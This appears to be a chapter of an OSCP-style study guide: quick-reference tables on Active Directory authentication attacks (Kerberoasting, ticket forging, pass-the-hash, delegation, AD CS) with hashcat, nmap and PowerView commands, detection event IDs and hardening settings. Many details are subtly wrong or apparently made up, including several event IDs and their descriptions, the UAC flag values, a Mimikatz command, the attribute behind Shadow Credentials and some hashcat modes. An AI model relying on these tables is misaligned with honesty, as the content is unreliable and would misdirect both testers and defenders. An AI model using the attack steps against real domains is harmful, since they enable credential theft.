10. Quick Reference Tables
Purpose: This chapter consolidates all quick-reference material into practical cheat sheets. Use these tables during enumeration, exploitation, and defense assessments. Each entry includes OSCP exam relevance notes.
10.1 Attack Prerequisites Summary
This table summarizes every major AD authentication attack, the minimum access required, what data you need to collect, and the primary tools. Use it as a planning checklist before launching an attack chain.
| Attack | Minimum Access | Required Data | Tools | Difficulty | OSCP Relevance |
|---|---|---|---|---|---|
| Kerberoasting | Domain user (any) | None — enumerate SPNs online | Rubeus, Impacket (GetUserSPNs.py), CrackMapExec |
Easy | Very High — Almost always present; first Kerberos check on any domain box |
| AS-REP Roasting | None (no credentials) | None — accounts with pre-auth disabled are enumerable | Rubeus, Impacket (GetNPUsers.py), Kerbrute |
Easy | Very High — Zero-cred attack; check immediately after domain discovery |
| Silver Ticket | Service account NTLM hash | Domain SID, target SPN, target hostname | Mimikatz, Rubeus | Medium | High — Appears when you dump a service account hash; know the Mimikatz syntax |
| Gold Ticket | krbtgt NTLM hash | Domain SID, domain name, KRBTGT RID (500/502) | Mimikatz, Rubeus | Medium | High — Endgame attack after DC compromise; must know the difference from Silver |
| Pass-the-Hash (NTLM) | NTLM hash of any account | None | Mimikatz (sekurlsa::pth), Impacket (psexec.py -hashes), CrackMapExec |
Easy | Very High — Core OSCP technique; works over SMB/WMI/WinRM |
| Pass-the-Ticket | Kerberos ticket (.kirbi/.ccache) | None | Mimikatz (kerberos::ptt), Rubeus (ptt), export KRB5CCNAME |
Easy | High — Used after ticket extraction or forging |
| Overpass-the-Hash | NTLM hash (to get TGT) | Domain name, username | Mimikatz (kerberos::ptt after ask), Rubeus (ask) |
Medium | Medium — Converts NTLM hash to Kerberos TGT; useful when NTLM is blocked |
| NTLM Relay | Network position (man-in-the-middle) | None — relay live, no hash needed | Responder, ntlmrelayx.py, MultiRelay |
Medium | High — Classic OSCP attack; pair with Responder for LLMNR/NBT-NS poisoning |
| Unconstrained Delegation | Compromise of delegated machine | TGTs stored in LSASS memory | Mimikatz (sekurlsa::tickets), Rubeus (dump /service:krbtgt) |
Medium | High — Look for TRUSTED_FOR_DELEGATION flag; force DA to authenticate |
| Constrained Delegation | Service account with delegation rights | Allowed target SPNs in msDS-AllowedToDelegateTo |
Mimikatz (S4U), Rubeus (s4u), Impacket (getST.py) |
Hard | Medium — Less common in OSCP but appears in harder boxes |
| Resource-Based Constrained Delegation (RBCD) | Domain user + write access to target computer | Target computer name, attacker-controlled computer account | Impacket (rbcd.py, addcomputer.py, getST.py), PowerView |
Hard | Medium — Growing in popularity; any user can create a computer account by default |
| Shadow Credentials | WriteProperty on target account |
None — attacker generates key pair | Mimikatz (lsadep::shadow), Certify |
Hard | Low-Medium — Newer attack; appears in modern AD labs |
| AD CS / ESC1-ESC8 | Enrollment rights on vulnerable template | CA name, template details | Certify, Rubeus, pkinit.py (Impacket) |
Hard | Medium — ESC1 (any user enrollment + machine auth) is the most exam-relevant |
| PAC Binding Attack | NTLM hash of any domain user | Domain SID, user RID | Mimikatz (kerberos::golden with PAC manipulation) |
Hard | Low — Rarely tested directly but good to understand |
| WDigest Credential Dump | Local admin on target machine | WDigest enabled (UseLogonCredential=1) |
Mimikatz (sekurlsa::logonpasswords) |
Easy | Medium — Force WDigest enable via registry, then dump plaintext password |
| Lsass Dump / Injection | Local admin on target machine | None | Mimikatz, Procdump, RMM tools, sekurlsa::logonpasswords |
Easy | Very High — Fundamental technique; always try after local admin |
Detailed Attack Descriptions
Kerberoasting
Any authenticated domain user can request a TGS ticket for any registered SPN. The ticket is encrypted with the service account’s NTLM hash, enabling offline cracking. No special privileges needed — just domain membership. This is typically the first Kerberos attack you should attempt on any Active Directory box.
AS-REP Roasting
Targets accounts with the DONT_REQ_PREAUTH flag (UAC value 0x400000). Because pre-authentication is disabled, the KDC returns an AS-REP encrypted with the user’s own hash — crackable offline. Requires zero credentials to execute, making it a powerful initial foothold technique.
Silver Ticket
A forged TGS (service) ticket created with the NTLM hash of a service account (not krbtgt). Grants access to a single specific service only. Does not interact with the KDC after forging, so it leaves minimal logs. You need the service account hash, the domain SID, and the target SPN.
Gold Ticket
A forged TGT created with the krbtgt account’s NTLM hash. Grants access to any service in the domain — effectively domain admin. Valid for up to 10 years (max TGT lifetime). Requires the krbtgt hash, domain SID, and domain name. This is the endgame attack after compromising a Domain Controller.
Pass-the-Hash (NTLM)
Authenticates to a target system using an NTLM hash instead of a plaintext password. Works over SMB, WMI, WinRM, and other NTLM-based protocols. Does not work with Kerberos-authenticated services. The hash never leaves the attacker’s machine.
Pass-the-Ticket
Injects a captured or forged Kerberos ticket directly into the current session’s credential cache. Works with both TGTs and TGS tickets. More versatile than PtH because it works with Kerberos services. Common after Kerberoasting, ticket extraction, or ticket forging.
Overpass-the-Hash
Converts an NTLM hash into a Kerberos TGT by authenticating to the KDC. Useful when NTLM is blocked but Kerberos is allowed. Two-step process: (1) request a TGT using the NTLM hash, (2) inject the TGT with ptt.
NTLM Relay
Intercepts an NTLM authentication attempt and relays it to another target without cracking the hash. Requires network positioning (same subnet or routed access). Commonly combined with LLMNR/NBT-NS poisoning via Responder. SMB signing must be disabled on the relay target.
Unconstrained Delegation
A computer account configured with unconstrained delegation collects TGTs of all users who authenticate to it. If you can force a high-privilege user (like a Domain Admin) to authenticate to this machine, then compromise the machine and dump LSASS, you extract the admin’s TGT.
Constrained Delegation
A service account is authorized to obtain TGS tickets to specific SPNs on behalf of any user. If you compromise the service account, you can impersonate any user to the allowed services using S4U2Self and S4U2Proxy extensions.
Resource-Based Constrained Delegation (RBCD)
The target resource (computer object) specifies which accounts can delegate to it via msDS-AllowedToActOnBehalfOfOtherIdentity. Any domain user can create a computer account (by default, up to 10). If you have write access to a target computer’s RBCD attribute, you can add your computer account as a delegator.
Shadow Credentials
Abuses the MS-DS-ENCRYPTEDPASSWORD feature (Windows 10 1809+/Server 2019+). Any user with WriteProperty on an account can add a credential descriptor (public key). The attacker then authenticates with the private key, bypassing the password entirely. Computer accounts grant WriteProperty to their creator and Authenticated Users by default.
AD CS / ESC Attacks
Active Directory Certificate Services misconfigurations (ESC1-ESC8) allow certificate-based authentication abuse. ESC1 (any-user enrollment on a template that supports machine authentication) is the most common and allows full domain compromise.
10.2 Hashcat Mode Quick Reference
Complete reference for cracking Active Directory-related hashes with Hashcat. Includes the hash format prefix, mode number, attack type, recommended options, and example commands.
| Hash Format Prefix | Hashcat Mode | Attack Type | Encryption | Recommended Options | Example Command |
|---|---|---|---|---|---|
$krb5tgs$23$ |
13100 | Kerberoasting (TGS-REP) | RC4-HMAC | -O (OpenCL optimize) |
hashcat -m 13100 -O hashes.txt rockyou.txt |
$krb5tgs$17$ |
19600 | Kerberoasting (TGS-REP) | AES128-CTS-HMAC-SHA1-96 | None specific | hashcat -m 19600 hashes.txt rockyou.txt |
$krb5tgs$18$ |
19600 | Kerberoasting (TGS-REP) | AES256-CTS-HMAC-SHA1-96 | None specific | hashcat -m 19600 hashes.txt rockyou.txt |
$krb5asrep$23$ |
18200 | AS-REP Roasting | RC4-HMAC | -O |
hashcat -m 18200 -O hashes.txt rockyou.txt |
$krb5asrep$17$ |
19100 | AS-REP Roasting | AES128-CTS-HMAC-SHA1-96 | None specific | hashcat -m 19100 hashes.txt rockyou.txt |
$krb5asrep$18$ |
19200 | AS-REP Roasting | AES256-CTS-HMAC-SHA1-96 | None specific | hashcat -m 19200 hashes.txt rockyou.txt |
NT:LM (full hash) |
1000 | NTLM Hash | NTLM | -O |
hashcat -m 1000 -O hashes.txt rockyou.txt |
user::domain:chal:resp: |
5600 | NetNTLMv2 | NTLMv2 | -O |
hashcat -m 5600 -O hashes.txt rockyou.txt |
user:domain:ntlm |
1000 | NTLM (extracted) | NTLM | -O |
hashcat -m 1000 -O hashes.txt rockyou.txt |
$mscache$ |
9700 | MS Cache (WinNT4/2000) | LAN Manager | None specific | hashcat -m 9700 hashes.txt rockyou.txt |
$pwsb$ |
15100 | Windows Credential Manager | DPAPI | None specific | hashcat -m 15100 hashes.txt rockyou.txt |
DPAPI master key |
15100 | DPAPI Master Key | DPAPI | --user |
hashcat -m 15100 masterkey.pwk rockyou.txt |
$wpa$ |
2500/2501 | WPA/WPA2 PSK | PMKID/EAPOL | -O |
hashcat -m 2500 capture.hc22006 rockyou.txt |
Hashcat Tips for OSCP
- Mode 13100 (Kerberoasting RC4) is by far the most commonly cracked hash in OSCP labs. RC4 is fast to crack — always try this first.
- Mode 19600 handles both AES128 and AES256 Kerberoasting. These are significantly slower than RC4.
- Mode 18200 (AS-REP RC4) is the most common AS-REP roast mode. AES variants (19100/19200) are rarer.
- Use
-Oflag for OpenCL optimization on GPU attacks (modes 1000, 13100, 18200, 5600). - Use
-r rules/best64.rulefor rule-based attacks when base wordlists fail. - Use
--session <name>to resume interrupted attacks:hashcat -m 13100 -r rules/best64.rule --session kerb1 hashes.txt rockyou.txt - Use
-w 3for high memory workload (aggressive mode) on powerful GPUs. - For distributed cracking, use
--potfile-pathto share results across machines.
Hashcat Session Management
# Start a named session
hashcat -m 13100 -O --session kerberoast tickets.kerberoast rockyou.txt
# Resume an interrupted session
hashcat -m 13100 -O --session kerberoast --restore
# Remove a session
hashcat --session kerberoast --remove
# Check active sessions
hashcat --status
10.3 Windows Event ID Reference
Critical Event IDs for detecting and understanding AD authentication attacks. Organized by category with detection guidance.
Kerberos Events
| Event ID | Description | Attack Relevance | Key Fields to Monitor | Detection Tip |
|---|---|---|---|---|
| 4768 | Kerberos TGT issued | AS-REP Roasting, Overpass-the-Hash, Gold Ticket (if legit TGT requested after forge) | Service Name (should be krbtgt), Etype (encryption type), Ticket Encryption Type |
Alert on Etype 23 (RC4) requests — indicates weak encryption. Alert on TGT requests from unusual source IPs |
| 4769 | Kerberos TGS ticket issued | Kerberoasting, Silver Ticket, Delegation attacks, S4U abuse | Service Name, Service SID, Etype, Ticket Encryption Type, Failure Code |
Alert on large number of TGS requests from single user. Monitor for service class 3 (TGT) which indicates a TGT was used to request another ticket |
| 4771 | Kerberos pre-authentication failed | Brute force, password spraying, AS-REP Roasting reconnaissance | Account Name, Pre-Authentication Type, Failure Code |
Alert on multiple failures for same account. Code 0x18 = pre-auth failed, 0x19 = unknown encryption type |
| 4772 | Kerberos service name changed | SPN manipulation, potential attack preparation | Target Account Name, New Service Name |
Rare event — any occurrence warrants investigation |
| 4773 | Security ID (SID) history changed | SID history injection, privilege escalation | Target Account Name, SID History Values Added |
Alert on any SID history modification — rarely needed in legitimate operations |
| 4774 | LSA operation (Kerberos ticket) | Ticket extraction, Pass-the-Ticket | Subject Account Name, Target Account Name |
Monitor on Domain Controllers for unusual LSA operations |
| 4775 | Account enabled Kerberos AES encryption | Encryption type change | Account Name, AES Key Label |
Informational — track encryption upgrades |
| 4776 | NTLM authentication attempt | Credential dumping, WDigest, Pass-the-Hash | Account Name, Workstation Name, Authentication Package |
Critical — contains hash in event body. Alert on NTLM auth to Domain Controllers (should use Kerberos) |
Logon/Logoff Events
| Event ID | Description | Attack Relevance | Key Fields to Monitor | Detection Tip |
|---|---|---|---|---|
| 4624 | Logon success | Pass-the-Hash, NTLM Relay, Pass-the-Ticket, Golden/Silver Ticket | Logon Type, Account Name, Source IP, Authentication Package |
Logon Type 3 = network logon (SMB/NTLM). Logon Type 10 = Remote Desktop. Alert on Type 3 from unusual sources. Kerberos logons show kerberos package; NTLM shows msv1_0 |
| 4625 | Logon failure | Brute force, password spraying, credential testing | Failure Reason, Account Name, Source IP, Logon Type |
Alert on multiple failures from same IP. 0xC0000064 = unknown user, 0xC000006A = bad password, 0xC0000072 = account restricted |
| 4634 | Account logoff | Session termination | Account Name, Logon Type |
Correlate with 4624 for session duration analysis |
| 4647 | User-initiated logoff | User logged out manually | Account Name |
Informational |
| 4672 | Special privileges assigned | Admin logon, privilege escalation | Account Name, Privileges |
Alert on SeDebugPrivilege or SeTcbPrivilege from non-admin accounts |
Account Management Events
| Event ID | Description | Attack Relevance | Key Fields to Monitor | Detection Tip |
|---|---|---|---|---|
| 4720 | User account created | Attacker creating backdoor accounts | Account Name, Account SID, Subject |
Alert on account creation outside business hours or from unexpected sources |
| 4722 | User account enabled | Attacker enabling disabled backdoor | Account Name, Subject |
Correlate with 4720 (create then enable pattern) |
| 4723 | User password changed | Legitimate change or attacker setting known password | Account Name, Subject |
Alert on password changes initiated by non-admin accounts |
| 4724 | User password reset | Attacker resetting another user’s password | Target Account, Subject |
High alert — password resets should be rare and authorized |
| 4728 | Member added to global security group | Privilege escalation, DA addition | Group Name, Member, Subject |
Critical — alert on additions to Domain Admins, Enterprise Admins, Administrators |
| 4729 | Member removed from global group | Account removal, potential cover-up | Group Name, Member |
Track for lateral movement analysis |
| 4732 | Member added to local group (DC) | Privilege escalation on DC | Group Name, Member |
Alert on any local group changes on Domain Controllers |
| 4762 | User account sensitive to password change | Password policy change | Account Name |
Track policy modifications |
| 4764 | Service account password set | gMSA rotation, service account change | Account Name, Subject |
Monitor for unexpected service account changes |
| 4767 | User account locked out | Brute force detection, password spraying | Account Name, Caller Computer |
Alert on lockouts — indicates failed auth attempts. Track source computer for attacker location |
| 4770 | User account modified | UAC flag changes, SPN modifications, delegation changes | Account Name, Property |
Critical for RBCD/Shadow Credentials — monitor for userAccountControl, servicePrincipalName, msDS-AllowedToActOnBehalfOfOtherIdentity changes |
Directory Service Events
| Event ID | Description | Attack Relevance | Key Fields to Monitor | Detection Tip |
|---|---|---|---|---|
| 5136 | Directory service object modified | RBCD, Shadow Credentials, ESC5, SPN manipulation, ACL changes | Attribute ID, Attribute Name, Value Attribute, Target Object |
Most important for AD attack detection. Key attributes: 131074 (userAccountControl), 11 (servicePrincipalName), msDS-AllowedToActOnBehalfOfOtherIdentity, msDS-KeyCredentialLink |
| 5137 | Directory service object created | New computer/user account creation | Target Object Name, Target Object DN |
Alert on new computer accounts (attacker-created for RBCD) |
| 5138 | Directory service object deleted | Account removal, evidence destruction | Target Object Name |
Correlate with 5136 for attack timeline |
| 5139 | Directory service object moved | Organizational unit manipulation | Target Object DN, Last Parent DN |
Rare legitimate use — investigate |
| 5141 | Directory service object last logon timestamp updated | Normal authentication activity | Target Object Name |
Informational — used for group membership evaluation |
| 5169 | Directory service object permission changed | ACL manipulation, DCSync enablement | Target Object, Property Rights |
Alert on DCSync-related rights (Replicating Directory Changes) |
Security System Events
| Event ID | Description | Attack Relevance | Key Fields to Monitor | Detection Tip |
|---|---|---|---|---|
| 4657 | Object handle permissions changed | SACL manipulation, audit evasion | Object Server, Object Name, Access Mask |
Alert on security descriptor changes to sensitive objects |
| 4661 | Handle requested on directory object | DCSync, LDAP queries, credential access | Object Type, Access Mask, Handle ID |
Critical for DCSync detection — look for 0x100 (DS-Replication-Get-Changes) or 0x200 (DS-Replication-Get-Changes-All) access masks |
| 4670 | Permissions on object changed | ACL manipulation | Object Server, Object Name |
Track permission changes on critical AD objects |
| 4799 | Audit manhole event | Diagnostic mode enabled | Event Type |
Alert — indicates diagnostic/debug mode activation |
Group Policy and System Events
| Event ID | Description | Attack Relevance | Key Fields to Monitor | Detection Tip |
|---|---|---|---|---|
| 4090 | Group Policy updated | GPO modification for persistence | GPO Name, Subject |
Alert on GPO changes that affect security policies |
| 4093 | Security policies changed | Password policy, lockout policy changes | Subject |
Alert on security policy modifications |
| 4096 | System time changed | Timestamp manipulation, ticket forgery cover-up | Previous Time, New Time |
Alert on time changes — can be used to extend ticket validity |
| 1102 | Audit log cleared | Evidence destruction | Subject Account Name |
Critical — immediate alert; indicates attacker covering tracks |
OSCP Exam Relevance Notes
- For Blue Team / Defense questions: Know Event IDs 4768, 4769, 4771, 4624, 4625, 5136, 4776, and 4767 cold. These are the most frequently tested.
- For attack detection: Event 5136 is the single most valuable event for detecting AD attacks (RBCD, Shadow Credentials, SPN changes, UAC flag modifications).
- Logon Types matter: Type 3 = network (SMB/NTLM), Type 10 = RDP. Attackers often generate Type 3 logons during lateral movement.
- DCSync detection: Event 4661 with access mask
0x100or0x200on a Directory Service object is the hallmark of DCSync.
10.4 Kerberos Encryption Types
Complete reference for Kerberos encryption types (etypes), their security properties, and attack implications.
| etype | Algorithm | Key Size | Hashcat Mode (TGS) | Hashcat Mode (AS-REP) | Strength | Crack Speed (GPU) | Attack Notes |
|---|---|---|---|---|---|---|---|
| 23 | RC4-HMAC | 128-bit | 13100 | 18200 | Weak | Very fast (~100+ GH/s) | Default for older accounts. Fastest to crack. Always target this first. Vulnerable to Kerberoasting. |
| 17 | AES128-CTS-HMAC-SHA1-96 | 128-bit | 19600 | 19100 | Medium | Moderate (~20-40 GH/s) | Better than RC4 but still crackable with good wordlists. Requires AES-enabled account. |
| 18 | AES256-CTS-HMAC-SHA1-96 | 256-bit | 19600 | 19200 | Strong | Slow (~5-15 GH/s) | Strongest commonly-used etype. Still crackable with weak passwords. Slower than RC4/AES128. |
| 16 | DES-CBC-MD5 | 56-bit | N/A | N/A | Broken | Instant | Legacy only. Should never be present in modern environments. Trivially cracked. |
| 1 | DES-CBC-CRC | 56-bit | N/A | N/A | Broken | Instant | Legacy only. No integrity protection. Should never be used. |
| 19 | AES128-CTS-HMAC-SHA1-96 (with subkey) | 128-bit | 19600 | 19100 | Medium | Moderate | Variant of etype 17 with different key derivation. Same cracking approach. |
| 20 | AES256-CTS-HMAC-SHA1-96 (with subkey) | 256-bit | 19600 | 19200 | Strong | Slow | Variant of etype 18 with different key derivation. Same cracking approach. |
Encryption Type Configuration
The encryption types supported by an account are controlled by the userAccountControl (UAC) flag and domain policy:
| Configuration | Effect | Command / Method |
|---|---|---|
UF_RC4_OHF (0x00800000) |
Account supports RC4-HMAC | Set via ADSI Edit on userAccountControl |
UF_AES128_OHF (0x00080000) |
Account supports AES128 | Set via ADSI Edit on userAccountControl |
UF_AES256_OHF (0x00100000) |
Account supports AES256 | Set via ADSI Edit on userAccountControl |
| Domain Policy: Network security: Configure encryption types allowed for Kerberos | Domain-wide etype enforcement | Group Policy: Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options |
| Default (no flags set) | Account supports all available types (RC4 + AES if domain functional level supports) | Default behavior |
OSCP Exam Relevance Notes
- etype 23 (RC4) is the most important for OSCP — it’s the default for many service accounts and cracks extremely fast.
- When Kerberoasting, check the
--targetoutput for etype. If only AES128/AES256 are available, cracking will be much slower. - Force AES encryption at the domain level to prevent RC4-based Kerberoasting — this is a common defense question.
- The domain functional level determines available encryption types. Windows Server 2008+ supports AES; 2000/2003 do not.
10.5 AD Service Port Reference
Essential ports for Active Directory services. Know these for enumeration and attack planning.
| Port | Protocol | Service | Purpose | Attack Relevance |
|---|---|---|---|---|
| 53 | TCP/UDP | DNS | Name resolution, SRV record discovery | Enumerate domain info via DNS zone transfer, SRV records reveal DCs and services |
| 88 | TCP/UDP | Kerberos (KDC) | Authentication service (AS) and ticket-granting service (TGS) | Kerberoasting, AS-REP Roasting, ticket manipulation |
| 135 | TCP | RPC Endpoint Mapper | RPC service discovery | DCOM attacks, WMI remote execution, RPC binding |
| 139 | TCP | NetBIOS Session Service | Legacy SMB over NetBIOS | NTLM relay, SMB signing bypass attempts, session hijacking |
| 389 | TCP | LDAP | Directory service queries (unencrypted) | LDAP enumeration, user/group/computer discovery, ACL analysis |
| 445 | TCP | SMB | File sharing, administrative shares, RPC over SMB | Pass-the-Hash, SMB relay, admin share access, file exfiltration |
| 464 | TCP/UDP | Kerberos Change Password | Password change service (kpasswd) | Password manipulation, service account password changes |
| 636 | TCP | LDAPS | LDAP over SSL/TLS | Secure directory queries, certificate validation |
| 3268/3269 | TCP | GC / GCSSL | Global Catalog (unencrypted/encrypted) | Forest-wide searches, cross-domain enumeration |
| 3389 | TCP | RDP | Remote Desktop Protocol | Remote access, credential harvesting, RDP hijacking |
| 5985/5986 | TCP | WinRM (HTTP/HTTPS) | Windows Remote Management | Remote PowerShell, WinRM authentication attacks |
| 636 | TCP | AD CS / Enrollment | Certificate enrollment (HTTPS) | ESC attacks, certificate abuse |
| 88 | TCP/UDP | KPASSWD | Kerberos password change | Password change attacks |
| 49152-65535 | TCP | Dynamic RPC | Dynamic RPC ports | RPC-based attacks, WMI, DCOM |
Port Scanning Tips for OSCP
# Quick AD service discovery
nmap -sS -p 53,88,135,139,389,445,464,636,3268,3389,5985,5986 --script smb-enum-users,smb-enum-shares,ldap-search -T4 <target>
# Full AD enumeration scan
nmap -sS -sU -p- --script smb-*,ldap*,kerberos*,ms*-*,rdp-* -T4 <target>
# Service version detection
nmap -sV -p 53,88,135,139,389,445,464,636,3268,3389,5985 <target>
10.6 Common SPN Formats
Service Principal Names (SPNs) uniquely identify service instances. Knowing common SPN formats helps during Kerberoasting and delegation attacks.
| Service | SPN Format | Example | Port | Notes |
|---|---|---|---|---|
| MSSQL | MSSQLSvc/<hostname>:<port> |
MSSQLSvc/sqlserver.domain.com:1433 |
1433 | Most common Kerberoasting target in labs |
| MSSQL (named instance) | MSSQLSvc/<hostname>:<port> |
MSSQLSvc/sqlserver.domain.com:49159 |
Dynamic | Named instances use dynamic ports |
| CIFS (SMB/File Share) | cifs/<hostname> |
cifs/fileserver.domain.com |
445 | Silver Ticket target for file server access |
| HTTP (IIS) | HTTP/<hostname> |
HTTP/webserver.domain.com |
80/443 | Web application service accounts |
| HOST (computer account) | HOST/<hostname> |
HOST/dc.domain.com |
N/A | Registered on computer accounts; used for Kerberos auth to the machine |
| LDAP | ldap/<hostname> |
ldap/dc.domain.com |
389 | Domain Controller LDAP service |
| Kerberos (KDC) | krbtgt/<DOMAIN> |
krbtgt/EXAMPLE.COM |
88 | Special SPN for the TGT service |
| WMI | WMI/<hostname> |
WMI/server.domain.com |
135 | WMI service account |
| Exchange | MSExchangeADTopology/<server> |
MSExchangeADTopology/exch.domain.com |
Various | Exchange service accounts |
| SharePoint | SharePoint/<site> |
SharePoint/sp2019.domain.com |
80/443 | SharePoint service accounts |
| Oracle | oracle/<hostname> |
oracle/dbserver.domain.com |
1521 | Oracle database service |
| Terminal Services | RestrictedKrbHost/<hostname> |
RestrictedKrbHost/rds.domain.com |
3389 | RDS/Terminal Services |
| DFS | dfs/<hostname> |
dfs/dfsroot.domain.com |
445 | Distributed File System |
| RDS | RDS/<hostname> |
RDS/rds.domain.com |
3389 | Remote Desktop Services |
| SQL Browser | MSSQLSvc/<hostname> |
MSSQLSvc/sql.domain.com |
1434 | SQL Browser service |
SPN Enumeration Commands
# All SPNs in the domain (PowerView)
Get-NetUser -SPN
Get-NetComputer -Full | Select-Object dnshostname, serviceprincipalname
# Specific service SPNs
Get-NetUser -SPN | Where-Object { $_.servicePrincipalName -like "MSSQLSvc*" }
# Using AD module
Get-ADUser -Filter {servicePrincipalName -ne "$null"} -Properties servicePrincipalName
Get-ADComputer -Filter {servicePrincipalName -ne "$null"} -Properties servicePrincipalName
# Using Rubeus
Rubeus.exe kerberoast /stats
10.7 User Account Control (UAC) Flags Relevant to AD Attacks
The userAccountControl attribute controls account behavior. Several flags are directly relevant to AD authentication attacks.
| Flag Name | Hex Value | Decimal | Description | Attack Relevance |
|---|---|---|---|---|
UF_SCRIPT |
0x0001 |
1 | Logon script runs | Informational — not directly exploitable |
UF_ACCOUNTDISABLE |
0x0002 |
2 | Account is disabled | Attacker may try to enable disabled accounts (Event 4722) |
UF_HOMEDIR_REQUIRED |
0x0008 |
8 | Home directory required | Informational |
UF_LOCKOUT |
0x0010 |
16 | Account is locked out | Indicates brute force detection; check Event 4767 |
UF_PASSWD_NOTREQD |
0x0020 |
32 | No password required | High risk — accounts with blank passwords are trivially compromised |
UF_PASSWD_CANT_CHANGE |
0x0040 |
64 | User cannot change password | Prevents victim from changing password after compromise |
UF_NORMAL_ACCOUNT |
0x0200 |
512 | Normal account type | Default for user accounts |
UF_DONT_EXPIRE_PASSWD |
0x10000 |
65536 | Password never expires | High risk — service accounts often have this; combined with weak password = Kerberoasting goldmine |
UF_SMARTCARD_REQUIRED |
0x0400000 |
4194304 | Smart card required | Prevents password-based attacks; but Shadow Credentials may bypass |
UF_TRUSTED_FOR_DELEGATION |
0x00080000 |
524288 | Unconstrained delegation enabled | Critical — primary target for unconstrained delegation attacks |
UF_NOT_DELEGATED |
0x00040000 |
262144 | Account is sensitive and cannot be delegated | Defense — prevents delegation attacks against this account |
UF_USE_DES_KEY_ONLY |
0x00200000 |
2097152 | Use DES encryption only | Critical — forces weak DES encryption; easily cracked |
UF_DONT_REQ_PREAUTH |
0x00040000 |
4194304 | Do not require Kerberos preauthentication | Critical — enables AS-REP Roasting attack |
UF_PASSWORD_EXPIRED |
0x800000 |
8388608 | Password has expired | Forces password reset on next logon |
UF_TRUSTED_TO_AUTH_FOR_DELEGATION |
0x01000000 |
16777216 | Constrained delegation / protocol transition enabled | Critical — indicates S4U2Self/S4U2Proxy abuse potential |
UF_PARTIAL_SECRETS_ACCOUNT |
0x00800000 |
8388608 | Partial secrets account (read-only DC) | RODC-specific; limited credential storage |
UFENC_AES_KEY (combined) |
0x00180000 |
1572864 | AES128 + AES256 keys enabled | Indicates account supports AES encryption (not vulnerable to RC4-only attacks) |
UAC Flag Calculation
# Check UAC flags for a specific user
(Get-ADUser targetuser -Properties userAccountControl).userAccountControl
# Decode UAC flags
$UAC = (Get-ADUser targetuser).userAccountControl
if ($UAC -band 0x00040000) { Write-Host "AS-REP Roasting VULNERABLE" }
if ($UAC -band 0x00080000) { Write-Host "Unconstrained Delegation ENABLED" }
if ($UAC -band 0x01000000) { Write-Host "Constrained Delegation ENABLED" }
if ($UAC -band 0x10000) { Write-Host "Password NEVER EXPIRES" }
# Using PowerView
Get-NetUser -Username targetuser | Select-Object useraccountcontrol
OSCP Exam Relevance Notes
UF_DONT_REQ_PREAUTH(0x40000) — The #1 flag to check for AS-REP Roasting. Any account with this flag is immediately attackable without credentials.UF_TRUSTED_FOR_DELEGATION(0x80000) — The flag that makes unconstrained delegation possible. Check all computer accounts for this.UF_TRUSTED_TO_AUTH_FOR_DELEGATION(0x1000000) — Indicates constrained delegation or protocol transition. CheckmsDS-AllowedToDelegateTofor target SPNs.UF_DONT_EXPIRE_PASSWD(0x10000) — Combined with a weak password, this is the Kerberoasting recipe. Service accounts commonly have this flag.UF_USE_DES_KEY_ONLY(0x200000) — Forces DES encryption, making any Kerberos ticket trivially crackable.
10.8 Group Policy Settings for AD Hardening
Key Group Policy settings that defend against AD authentication attacks. Organized by attack category.
Kerberos Hardening
| Policy Path | Setting | Recommended Value | Defends Against |
|---|---|---|---|
Computer Config\Policies\Windows Settings\Security Settings\Local Policies\Security Options |
Network security: Configure encryption types allowed for Kerberos | AES128_HMAC_SHA1, AES256_HMAC_SHA1, AES128_HMAC_SHA1_96, AES256_HMAC_SHA1_96 | Kerberoasting (RC4), AS-REP Roasting (RC4) |
| Same path | Network security: Minimum session security for SMB | Require SMB signing, Require 128-bit encryption | NTLM Relay, SMB relay attacks |
| Same path | Network security: LAN Manager authentication level | Send NTLMv2 response only. Refuse LM & NTLM | NTLMv1 attacks, LM hash cracking |
| Same path | Network security: Restrict NTLM: Audit ALL NTLM Inbound Authentication | Enable | NTLM usage tracking, relay detection |
Computer Config\Policies\Windows Settings\Security Settings\Account Policies\Kerberos Policy |
Maximum lifetime for user ticket | 6 hours (default: 10) | Ticket lifetime abuse, Gold/Silver Ticket validity |
| Same path | Maximum lifetime for service ticket | 6 hours (default: 10) | Service ticket abuse |
| Same path | Maximum lifetime for renewable ticket | 7 days (default: 14) | Renewable ticket abuse |
| Same path | Maximum lifetime for user ticket renewal | 7 days | TGT renewal abuse |
NTLM Hardening
| Policy Path | Setting | Recommended Value | Defends Against |
|---|---|---|---|
Computer Config\Policies\Windows Settings\Security Options\System |
Microsoft network server: Server SPN target name validation | Enable | SMB relay, NTLM relay |
Computer Config\Policies\Windows Settings\Security Options\Network Security |
LDAP client: Require channel binding | When possible | LDAP relay attacks |
| Same path | Digital RPC communications | Always | RPC relay, unauthenticated RPC |
Computer Config\Policies\Windows Settings\Security Options\System |
NetBIOS over TCP/IP | Disable | NetBIOS name poisoning, NBT-NS relay |
Computer Config\Policies\Windows Settings\Security Options\Network |
Turn off multicast name resolution (LLMNR) | Enable | LLMNR poisoning, Responder attacks |
Credential Protection
| Policy Path | Setting | Recommended Value | Defends Against |
|---|---|---|---|
Computer Config\Policies\Windows Settings\Security Options\Local Policies\Security Options |
Run as PPL for LSA | Enabled / Audit Mode | LSASS dumping, Mimikatz credential extraction |
Computer Config\Admin Templates\System\Device Guard |
Virtual-based Security: Require platform support | Enabled | Credential Guard — protects credentials in virtualized container |
Computer Config\Policies\Windows Settings\Security Options\Local Policies\Security Options |
WDigest Authentication | Disabled | Plaintext password in LSASS memory |
Computer Config\Policies\Windows Settings\Security Options\Local Policies\Security Options |
Restrict NTLM: Deny all accounts | Enable (with exceptions) | All NTLM-based attacks |
Delegation and Computer Account Hardening
| Policy Path | Setting | Recommended Value | Defends Against |
|---|---|---|---|
Computer Config\Policies\Windows Settings\Security Options\Network |
Computer Browser: Auto-disable NetBIOS | Enable | NetBIOS-based attacks |
Computer Config\Policies\Windows Settings\Security Options\Network |
Maximum number of computer names | 10 (default) | Limits attacker-created computer accounts for RBCD |
Computer Config\Policies\Windows Settings\Security Options\Domain Member |
Machine inactivity limit | 3 minutes | Session hijacking |
Computer Config\Policies\Windows Settings\Security Options\Kerberos |
Kerberos ARM (Account Restriction Mode) | Enabled | PAC manipulation, SID history injection |
AD CS Hardening
| Policy Path | Setting | Recommended Value | Defends Against |
|---|---|---|---|
| Certificate Templates | Enrollee supplies subject | Disabled on non-admin templates | ESC2 (any-user enrollment with subject supply) |
| Certificate Templates | Certificate Name Flags | Require manager approval for sensitive templates | ESC1, ESC2 certificate abuse |
